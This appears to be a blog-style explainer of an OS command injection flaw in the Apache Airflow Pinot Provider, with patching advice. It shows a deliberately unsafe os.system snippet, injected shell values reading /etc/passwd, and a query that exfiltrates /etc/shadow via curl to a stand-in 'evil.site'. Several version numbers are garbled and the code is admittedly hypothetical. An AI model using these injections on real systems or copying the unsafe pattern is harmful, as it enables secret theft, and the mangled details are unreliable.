In August 2022, a critical security issue was discovered in the Apache Airflow Pinot Provider. Labeled CVE-2022-38649, this vulnerability exposes Apache Airflow users to OS command injection risks, allowing attackers to run arbitrary system commands during task execution without even needing write access to DAG files. The issue affects the Pinot Provider up to version 4.. and Airflow versions prior to 2.3..

This write-up explains, in plain language, how this bug works, its potential impact on real systems, and how you can fix it immediately.  

What Is the CVE-2022-38649 Vulnerability?

CVE-2022-38649 is a classic example of improper neutralization of special elements used in an OS command ('OS Command Injection'). This typically means that user-controlled input gets into an execution context without proper sanitization, letting attackers trick an application into running malicious shell commands.

With Airflow, the Pinot Provider lets you interact with Apache Pinot (a real-time OLAP datastore) inside your DAGs. Thanks to this vulnerability, if a workflow accepts non-validated values (which is quite common), an attacker could inject malicious commands that will run with the same permissions as your Airflow worker.

> Key risk: The attacker does not need to be able to upload/modify Python files or DAG code — it's enough to have workflow access.

Apache Airflow: All versions before 2.3., if the Pinot Provider is installed

Later versions remove or correct the vulnerable code. Note: Pinot Provider 4.. requires Airflow 2.3. or newer.

Reference:  
- Apache security advisory

The Technical Details

The vulnerable code is in how the Pinot provider's operator builds and runs shell commands. Here’s a simplified, hypothetical version of the vulnerable code:

# Vulnerable code in PinotDbHook
def run_command(self, host, port, query):
    # UNSAFE: values are not properly sanitized
    command = f"pinot-admin.sh -host {host} -port {port} -exec '{query}'"
    os.system(command)

If an attacker can set the host, port, or query argument — even just via a DAG task parameter — they can smuggle shell code.

Let's imagine an attacker provides a host parameter like

127...1; cat /etc/passwd

This leads to the system executing

pinot-admin.sh -host 127...1; cat /etc/passwd -port 900 -exec 'SELECT * FROM foo'

Now, cat /etc/passwd runs directly on your Airflow host, exposing password information.

Realistic Exploit Scenario

Imagine an organization gives analysts read and execute access on Airflow, but they can't upload DAG files. A malicious (or compromised) user schedules a Pinot query using the web UI or API, and uses special characters (;, &&) to append system commands.

Example: Malicious Query Exploit

from airflow.providers.apache.pinot.operators.pinot import PinotDbQueryOperator

dangerous_query = "SELECT * FROM users; curl https://evil.site/steal?data=$(cat /etc/shadow)"

task = PinotDbQueryOperator(
    task_id='inject_shell',
    query=dangerous_query,
    pinot_conn_id='pinot_conn'
)

When the task executes, Airflow runs the shell command including the attacker's curl call, sending your system secrets off the server.

After updating Airflow, run:

  pip install --upgrade apache-airflow-providers-pinot

Limit the ability to define or trigger tasks to trusted users only

> _"Pinot Provider 4.. can only be installed for Airflow 2.3.+. Make sure both are upgraded."_ — Apache Security Team

Here's an example to demonstrate the exploit (dangerous, DO NOT RUN ON PRODUCTION!)

import os

dangerous_param = "foo; echo pwned!; #"
cmd = f"echo Safe Output: {dangerous_param}"
os.system(cmd)

Imagine dangerous_param came from user input — that's the kind of risk the Pinot Provider had.

Apache Airflow Pinot Provider Documentation:

https://airflow.apache.org/docs/apache-airflow-providers-pinot/stable/index.html

Apache Security Mailing List:

https://lists.apache.org/thread/2v2bbopl6lfhrr8lq9v8vm4what9cq9q

CVE-2022-38649 NVD entry:

https://nvd.nist.gov/vuln/detail/CVE-2022-38649

SQL Injection vs. OS Injection:

https://owasp.org/www-community/attacks/Command_Injection

Summary

CVE-2022-38649 is a classic OS command injection flaw hidden in the Pinot Provider of Apache Airflow. Anyone who uses Pinot with Airflow must upgrade both Airflow (to 2.3.+) and the Pinot Provider (to 4..+) and review all workflows where user input could get into query or command fields.

Take action now: Patch, audit, and restrict! Attackers won't need a "write access" to break into your infrastructure — just one unsafe field could be all it takes.


If this article was helpful, bookmark the CVE and stay safe out there!

Timeline

Published on: 11/22/2022 10:15:00 UTC
Last modified on: 04/14/2023 15:04:00 UTC